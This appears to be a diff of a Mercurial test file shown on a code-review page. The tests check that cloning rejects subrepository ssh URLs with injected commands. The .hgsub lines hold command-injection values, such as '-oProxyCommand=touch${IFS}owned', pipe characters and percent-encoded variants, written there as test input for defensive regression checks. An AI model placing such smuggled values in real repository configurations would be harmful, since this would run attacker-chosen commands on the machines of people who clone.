1802 1807 adding init
1803 1808 $ hg commit -m init
1804 1809 $ cd ..
1805 1810 $ hg add .hgsub
1806 1811 $ hg ci -m 'add subrepo'
1807 1812 $ cd ..
1808 1813 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1809 1814 updating to branch default
1810 1815 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
1811 1816 [255]
1812 1817
1813 1818 also check that a percent encoded '-' (%2D) doesn't work
1814 1819
1815 1820 $ cd malicious-proxycommand
1816 1821 $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
1817 1822 $ hg ci -m 'change url to percent encoded'
1818 1823 $ cd ..
1819 1824 $ rm -r malicious-proxycommand-clone
1820 1825 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1821 1826 updating to branch default
1822 1827 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
1823 1828 [255]
1824 1829
1825 1830 also check for a pipe
1826 1831
1827 1832 $ cd malicious-proxycommand
1828 $ echo 's = [hg]ssh://fakehost|shell/path' > .hgsub
1833 $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
1829 1834 $ hg ci -m 'change url to pipe'
1830 1835 $ cd ..
1831 1836 $ rm -r malicious-proxycommand-clone
1832 1837 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1833 1838 updating to branch default
1834 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepository "s")
1839 abort: no suitable response from remote hg!
1835 1840 [255]
1841 $ [ ! -f owned ] || echo 'you got owned'
1836 1842
1837 1843 also check that a percent encoded '|' (%7C) doesn't work
1838 1844
1839 1845 $ cd malicious-proxycommand
1840 $ echo 's = [hg]ssh://fakehost%7Cshell/path' > .hgsub
1846 $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
1841 1847 $ hg ci -m 'change url to percent encoded pipe'
1842 1848 $ cd ..
1843 1849 $ rm -r malicious-proxycommand-clone
1844 1850 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1845 1851 updating to branch default
1846 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepository "s")
1852 abort: no suitable response from remote hg!
1847 1853 [255]
1854 $ [ ! -f owned ] || echo 'you got owned'
1848 1855
1849 1856 and bad usernames:
1850 1857 $ cd malicious-proxycommand
1851 1858 $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
1852 1859 $ hg ci -m 'owned username'
1853 1860 $ cd ..
1854 1861 $ rm -r malicious-proxycommand-clone
1855 1862 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1856 1863 updating to branch default
1857 1864 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s")
1858 1865 [255]
General Comments 0
You need to be logged in to leave comments. Login now